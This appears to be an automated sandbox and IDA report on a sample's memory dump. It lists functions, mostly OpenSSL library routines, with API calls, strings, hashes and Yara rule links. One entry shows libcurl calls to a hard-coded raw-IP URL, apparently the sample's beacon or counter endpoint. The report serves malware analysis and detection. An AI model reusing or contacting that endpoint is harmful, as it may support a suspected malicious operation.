Opcode ID: b48015ab4dcc32e2df01f5e9c7b6c326916d2a8c46f82e2fbd60c208252b83cb
Instruction ID: b115a6a6212c45e428ef745f660b070f8e8c23a210a377304b2d96bf5b68efb4
Opcode Fuzzy Hash: b48015ab4dcc32e2df01f5e9c7b6c326916d2a8c46f82e2fbd60c208252b83cb
Instruction Fuzzy Hash: 8E01F1BA6403466BC210DA48FC81B9AB395FB5125AF100075FE0896242EB22F928D2A1

Function 100971C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10097242

Strings

crypto\evp\p_lib.c, xrefs: 100971C6, 1009722F, 10097254
EVP_PKEY_new, xrefs: 10097229

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_PKEY_new$crypto\evp\p_lib.c
API String ID: 3906573944-1414346654
Opcode ID: 1359a739954f969e7f4c24cf18e095cffde9e94e61065de02f9fb630f66edfee
Instruction ID: b787dda2b1736d988e6c5bce70d7ca1c05489b7ac8349f7b71efc5e5dfddcfa5
Opcode Fuzzy Hash: 1359a739954f969e7f4c24cf18e095cffde9e94e61065de02f9fb630f66edfee
Instruction Fuzzy Hash: 72012036601B5226E330EB65BC06F877AD4FF80B50F010525F94C566C3E7A1F4499E95

Function 100A4980 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A49EA

Strings

ENGINE_pkey_asn1_find_str, xrefs: 100A49CD
crypto\engine\tb_asnmth.c, xrefs: 100A49D7

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_pkey_asn1_find_str$crypto\engine\tb_asnmth.c
API String ID: 3906573944-703022254
Opcode ID: aa3d8672adf2329c19bd9c66b4a55c4277947fb1991ae09f07beb122e1b49dbb
Instruction ID: 667390a6a6f478112c9f8209ef430a1a473dd06f98bb1af5c0709ccbf3a54bd7
Opcode Fuzzy Hash: aa3d8672adf2329c19bd9c66b4a55c4277947fb1991ae09f07beb122e1b49dbb
Instruction Fuzzy Hash: BB1194789042029BD300DF18DC42B1B37E0FFD0350F458928F588CA262EB76E918DB97

Function 1005E890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E90F

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

Strings

crypto\engine\eng_init.c, xrefs: 1005E8FF
engine_unlocked_finish, xrefs: 1005E8F8

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease__fprintf_l
String ID: crypto\engine\eng_init.c$engine_unlocked_finish
API String ID: 752812576-3555295895
Opcode ID: 7d0615648ef36b791bcd0522b658c7bdfa2d25dbcbe53c04a0cdb8edc58b2160
Instruction ID: aa2d2460e05774e7688ac7134310b3dc817f664b8540a4ca0cb24066ff7b6302
Opcode Fuzzy Hash: 7d0615648ef36b791bcd0522b658c7bdfa2d25dbcbe53c04a0cdb8edc58b2160
Instruction Fuzzy Hash: 5401973AA0030263D654E328AC01B9A22C8EF82370F000421FA8CC22C1EF74FD09D693

Function 100A5340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5367

Strings

crypto\bio\bss_mem.c, xrefs: 100A5355
BIO_new_mem_buf, xrefs: 100A534E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_new_mem_buf$crypto\bio\bss_mem.c
API String ID: 3906573944-945146972
Opcode ID: 1de4a5801cd2153303f8be7f4f5ab9b4aa0efdef9d932fb9297e1a0ae839d750
Instruction ID: 1d0d877cc98391778bc25426781e4d0e669c81b237e2522ef86f895ca9216876
Opcode Fuzzy Hash: 1de4a5801cd2153303f8be7f4f5ab9b4aa0efdef9d932fb9297e1a0ae839d750
Instruction Fuzzy Hash: 03012B76A002518FD300CF58E801B86B7E1FFD5754F068289F9849B222D7B1A981CB81

Function 1007B500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B53D

Strings

ENGINE_new, xrefs: 1007B523
crypto\engine\eng_lib.c, xrefs: 1007B52A, 1007B54B, 1007B57C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_new$crypto\engine\eng_lib.c
API String ID: 3906573944-1041028136
Opcode ID: 138b52a855dab491bc8d472d8dd25e7ef93614d34695ed2868d798859da5ce0a
Instruction ID: 74fcb5d2cd271e7421ea9022f10f8244afe07497d4cedd4d4d2a21d19c746a7d
Opcode Fuzzy Hash: 138b52a855dab491bc8d472d8dd25e7ef93614d34695ed2868d798859da5ce0a
Instruction Fuzzy Hash: A7F06269A80B2636D520EA747C07FC72684EB42B58F000620FA4CE95C7FBA5B95C94A6

Function 1004B69A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 102495B0: AcquireSRWLockExclusive.KERNEL32(10347C0C,?,1004B6A7,00000003,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102495B6
Part of subcall function 102495B0: ReleaseSRWLockExclusive.KERNEL32(10347C0C,1004B6A7,00000003,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102495D1

Part of subcall function 102493A0: AcquireSRWLockExclusive.KERNEL32(10347C0C,00000003,1004B6AD,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102493A6
Part of subcall function 102493A0: ReleaseSRWLockExclusive.KERNEL32(10347C0C,?,?,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102493CA

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,1004E8B0), ref: 1004B6FC

Part of subcall function 10050BDE: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,?,1004B716,?,curl_easy_perform() failed: %s,1004E8B0), ref: 10050C05

Strings

curl_easy_perform() failed, xrefs: 1004B719
curl_easy_perform() failed: %s, xrefs: 1004B709

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$__acrt_iob_func__stdio_common_vfprintf
String ID: curl_easy_perform() failed$curl_easy_perform() failed: %s
API String ID: 395986030-2693453172
Opcode ID: 77e24a80a9d6786892d9813bb9945fbbf118ed43d9d6cd502339584d283ab388
Instruction ID: c4b16d97724c98828c49baa3f39c93c44ac13b0ee147444c945f0d0f3a1d085f
Opcode Fuzzy Hash: 77e24a80a9d6786892d9813bb9945fbbf118ed43d9d6cd502339584d283ab388
Instruction Fuzzy Hash: A7012939D00208FADB05EFA0DD0AA9DBF71EF04304F7040A5F504A41A2DB726A64EE45

Function 1007FE60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FEA3

Strings

DSO_new_method, xrefs: 1007FE89
crypto\dso\dso_lib.c, xrefs: 1007FE63, 1007FE90, 1007FEAA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_new_method$crypto\dso\dso_lib.c
API String ID: 3906573944-2006609490
Opcode ID: f002d8cbc6ccd9f65d432fca364300a8aab02c232a9289f3c56e389cd1c47026
Instruction ID: 87a9166082a074c52288eceb0cba20f28c066ba6d799c344b44942950278d967
Opcode Fuzzy Hash: f002d8cbc6ccd9f65d432fca364300a8aab02c232a9289f3c56e389cd1c47026
Instruction Fuzzy Hash: 4E01A9B9A4062266E160E6B47C42FEBA5C4EF04740F018528F984E6283EB58FA5942D6

Function 1007D3B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D408

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007D3F6
ossl_decoder_get_number, xrefs: 1007D3EC

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_meth.c$ossl_decoder_get_number
API String ID: 3906573944-2701826759
Opcode ID: abaa2a3293dc6c323dc4cde328328ff46411677e78c658251a06897b7647f48e
Instruction ID: 1d06097227ee164f98d077bcdaf4aa014ab83c44d2b74d86b2038f32574f8f33
Opcode Fuzzy Hash: abaa2a3293dc6c323dc4cde328328ff46411677e78c658251a06897b7647f48e
Instruction Fuzzy Hash: 29F02D3790026157C711EA94DC42F4F77E4FF84750F144816F988E7103D765BD1092A5

Function 100A6B80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A6C03

Strings

crypto\passphrase.c, xrefs: 100A6B99, 100A6BAE, 100A6BF0
ossl_pw_set_pem_password_cb, xrefs: 100A6BE9

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\passphrase.c$ossl_pw_set_pem_password_cb
API String ID: 3906573944-1095678657
Opcode ID: 6e2a7bd859faa8be4c3947cb1be7a248adf4dfb5f1256b88385acda2561b4880
Instruction ID: 0d055cee7b5513cdc7175bf4edd6321f1168358f0a7e47378051bb3f3e749255
Opcode Fuzzy Hash: 6e2a7bd859faa8be4c3947cb1be7a248adf4dfb5f1256b88385acda2561b4880
Instruction Fuzzy Hash: 5601F136940702ABC360DF58EC02FC7B6F0EF94B04F018A0AF19866192E3B1B8908651

Function 1008ADA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000002,00000002,00000000,00000000), ref: 1008ADB8
CertGetCertificateContextProperty.CRYPT32(?,00000002,00000000,?), ref: 1008ADEA

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

Part of subcall function 100894C0: GetLastError.KERNEL32(1008AE0B,00000000,00000070,engines\e_capi.c,0000052A), ref: 100894D5

Strings

engines\e_capi.c, xrefs: 1008ADC7, 1008ADF9, 1008AE10

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertCertificateContextProperty$ErrorLast__fprintf_l
String ID: engines\e_capi.c
API String ID: 3850018549-2638333933
Opcode ID: 9ac7ccff581af3992c12db6c49accd011de9ba145afe6363844cc3a5ec4d3914
Instruction ID: a992089530e956f22f7a58b791dfcb5fa493f447ca7bc6f692a6894454dbf43c
Opcode Fuzzy Hash: 9ac7ccff581af3992c12db6c49accd011de9ba145afe6363844cc3a5ec4d3914
Instruction Fuzzy Hash: 9DF0FC35B453217AE310E761AE06F5F77D8EF41B42F104426F605E54D2EB74EA108A56

Function 1009F8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

__fprintf_l.LIBCMT ref: 1009F905

Strings

ossl_property_str, xrefs: 1009F8E8
crypto\property\property_string.c, xrefs: 1009F8F2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_l
String ID: crypto\property\property_string.c$ossl_property_str
API String ID: 2043504311-1609725926
Opcode ID: e884f21fd4e8a421d59eb77a83ba95e2e3e93eb4073adf76679f7f02580e5d56
Instruction ID: 3bff94619596b8260c71f5d0019f039a339bd45c9d85b84e2753083a9eec9c3d
Opcode Fuzzy Hash: e884f21fd4e8a421d59eb77a83ba95e2e3e93eb4073adf76679f7f02580e5d56
Instruction Fuzzy Hash: 58F02739B046423AE650A274FD03F2F7291EF80754F144274FE0CA6297FA62BA30A1C6

Function 1007FDE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FE3C

Strings

crypto\dso\dso_lib.c, xrefs: 1007FE29
DSO_merge, xrefs: 1007FE1F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_merge$crypto\dso\dso_lib.c
API String ID: 3906573944-682201324
Opcode ID: 916bf3886718712aca1e22ffe52210acdfde780890381ce840eb8aa89fb2ba34
Instruction ID: c032da13b456cfd3947f1748066879ee6732f88f346c04bb88813a2d381a98f1
Opcode Fuzzy Hash: 916bf3886718712aca1e22ffe52210acdfde780890381ce840eb8aa89fb2ba34
Instruction Fuzzy Hash: 80F09030744212ABD644DA76BC01F7773C0EF80B54F15C85CF9849B252EA75EC169699

Function 1007AB90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007ABD0

Strings

crypto\engine\eng_list.c, xrefs: 1007ABBD
ENGINE_get_first, xrefs: 1007ABB3

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_get_first$crypto\engine\eng_list.c
API String ID: 3906573944-3503558075
Opcode ID: 319704de57dcc95b8f2a0d1ece40868b3192342f5f2e046c253e5ceb7d239f47
Instruction ID: c1f3b2c8f58b0f7cbc8110cc7d1fa9d3ccf10a1bb405e36709c3518b8ec63b44
Opcode Fuzzy Hash: 319704de57dcc95b8f2a0d1ece40868b3192342f5f2e046c253e5ceb7d239f47
Instruction Fuzzy Hash: E3F02478A40221B7D610EB74AC42B573281FB82B11F050420F94CEA293FF62B818F697

Function 1007AC20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007AC4A

Strings

crypto\engine\eng_list.c, xrefs: 1007AC38
ENGINE_get_next, xrefs: 1007AC2E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_get_next$crypto\engine\eng_list.c
API String ID: 3906573944-2840040936
Opcode ID: 675f89e836da650c9d8e3c63b1421d605a2fed736439e4ef68a7169e2622405b
Instruction ID: 45ded0122c92e7f4072299014b22338205a24a7ebb382426875e67d4a48f18e2
Opcode Fuzzy Hash: 675f89e836da650c9d8e3c63b1421d605a2fed736439e4ef68a7169e2622405b
Instruction Fuzzy Hash: 34F0BB3960062137D101D755BC02B8A3295EFC2760B094024F98C96252EE15BD55D5EA

Function 1007E440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1007E485

Strings

ossl_decoder_cache_flush, xrefs: 1007E468
crypto\encode_decode\decoder_pkey.c, xrefs: 1007E472

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock__fprintf_l
String ID: crypto\encode_decode\decoder_pkey.c$ossl_decoder_cache_flush
API String ID: 3216713783-3195795235
Opcode ID: 1a655cfc827ebd677b62a26f8294df269dc2427c1c6a2ca782780e7bc15344a7
Instruction ID: 8fac6781888b44c83e439576e57309d4e8042429f6e8b1be147179e39c6d1308
Opcode Fuzzy Hash: 1a655cfc827ebd677b62a26f8294df269dc2427c1c6a2ca782780e7bc15344a7
Instruction Fuzzy Hash: 24F0E23894022066EA61B720BC03F8B3582EF00750F018960FDC9B4263FA537E20A2DA

Function 100816A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100816C7

Strings

crypto\core_fetch.c, xrefs: 100816B5
ossl_method_construct_precondition, xrefs: 100816AE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\core_fetch.c$ossl_method_construct_precondition
API String ID: 3906573944-2951843441
Opcode ID: f511a97e734390f96998ff6484a9aba70aaa5b0c4ad52f7badb69655d427a99b
Instruction ID: 95cab689d0289f945972a3723b89fb86cae5017098e21af87861f5f23fb94346
Opcode Fuzzy Hash: f511a97e734390f96998ff6484a9aba70aaa5b0c4ad52f7badb69655d427a99b
Instruction Fuzzy Hash: B3F090359053129BD350DE24BC05B9776E5FF00750F090C28F5C4A6192E7B19998CB92

Function 100A6140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A617A

Strings

ossl_decoder_ctx_add_decoder_inst, xrefs: 100A615D
crypto\encode_decode\decoder_lib.c, xrefs: 100A6167

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$ossl_decoder_ctx_add_decoder_inst
API String ID: 3906573944-750087597
Opcode ID: a6e26d960464732cca735b0ccad2658655d5847de1be429f0c91b607b3fa878e
Instruction ID: 80c4e5d82e155d23fa2fa30174ff44073cc1176a211b1557fddabf3d71e97706
Opcode Fuzzy Hash: a6e26d960464732cca735b0ccad2658655d5847de1be429f0c91b607b3fa878e
Instruction Fuzzy Hash: 12E09B357443116BE600A6F87D07F8726D8EF44370F058419F648E7282F660F910D696

Function 10081630 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10081657

Strings

ossl_method_construct_postcondition, xrefs: 1008163D
crypto\core_fetch.c, xrefs: 10081644

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\core_fetch.c$ossl_method_construct_postcondition
API String ID: 3906573944-1539720549
Opcode ID: 11b11076cda3e39fec2011f40b9a111271901fe08520e21b8482aeb31be01171
Instruction ID: 864a547b2abfc702cc37b435e7d00d69b67efc31a77579970212a8a6a3ba0e16
Opcode Fuzzy Hash: 11b11076cda3e39fec2011f40b9a111271901fe08520e21b8482aeb31be01171
Instruction Fuzzy Hash: E5F0E534A40301AAD341DB10DC02F8B76E5FF40745F448968F588A91E2F7B5E8A4DE13

Function 10078150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007818E

Strings

crypto\conf\conf_lib.c, xrefs: 1007817B
NCONF_new_ex, xrefs: 10078171

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

